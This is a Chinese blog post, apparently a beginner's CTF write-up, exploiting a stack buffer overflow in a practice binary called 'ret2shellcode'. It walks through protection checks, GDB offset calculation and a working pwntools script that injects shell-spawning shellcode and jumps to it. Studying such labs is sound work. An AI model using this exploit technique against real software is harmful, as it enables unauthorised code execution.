PWN初体验之ret2shellcode

0x00 寄语

​ 所有的热爱都应该被坚持,人这一辈子太短了,无论如何都要为自己的热爱拼搏一次,就算最后失败了,至少不会后悔!

0x01 文件分析

​ 在Ubuntu使用file命令查看文件信息。

在这里插入图片描述

  • ELF可执行文件
  • 32位程序
  • 小端序
  • i386架构

​ 使用checksec命令查看文件保护开启情况。

在这里插入图片描述

  • 未开启金丝雀
  • 未开启堆栈不可执行
  • 未开启内存地址随机化

0x02 静态分析

​ 使用32位IDA打开文件

在这里插入图片描述

F5查看伪代码

在这里插入图片描述

  • gets函数接受输入并传递给s
  • 将s的值拷贝给buf2,buf2分配了0x64的空间
  • 在接收输入的时候,并未对输入的值做长度的判断,在拷贝之后会存在溢出。

查看汇编代码

在这里插入图片描述

  • 调用gets函数接收参数。
  • 将s的地址加载到eax寄存器
  • 将eax压入栈中
  • 调用gets函数
  • 调用strncpy函数

0x03 动态调试

​ 使用GDB挂起程序。

在这里插入图片描述

​ 将断点下到main函数,运行程序。

在这里插入图片描述

​ 单步调试到GETS函数

在这里插入图片描述

  • 参数s的栈地址为0xffffd12c

​ 查看栈空间

在这里插入图片描述

  • esp指针地址0xffffd110
  • eax指针地址0xffffd12c
  • ebp指针地址0xffffd198
  • 返回地址0xffffd19c

​ 计算覆盖长度

在这里插入图片描述

  • 覆盖到ebp需要长度为0x6c的padding填充

0x04 payload设计

  • 使用pwntools用shellcode填充
  • 填充覆盖ebp
  • 将跳转地址覆盖为buf2的地址

0x05 寻找buf2的地址

在这里插入图片描述

  • 使用IDA找到buf2的地址
  • buf2_addr = 0x0804A080

0x06 编写POC

from pwn import *



context.arch = "i386"

p = process("./ret2shellcode")
elf = ELF("./ret2shellcode")
# libc = ELF("/home/tiam/Desktop/i386-linux-gnu/libc-2.27.so")

buf2_addr = 0x0804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x70,b"a") + p32(buf2_addr)

p.sendline(payload)

p.interactive()
  • 使用pwntools的shellcraft函数生成shellcode。
  • 构造payload时候,使用ljust函数将覆盖函数用字符a进行填充,覆盖到ebp。

0x07 执行脚本

在这里插入图片描述

0x08 issue

​ 在脚本执行时,我先使用了python3执行的,可以得到shell,但是一旦执行命令,shell就中断了,如下图所示。但是python2就可以正常执行,没找到问题所在,如果有师傅知道,求告知!谢谢!

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值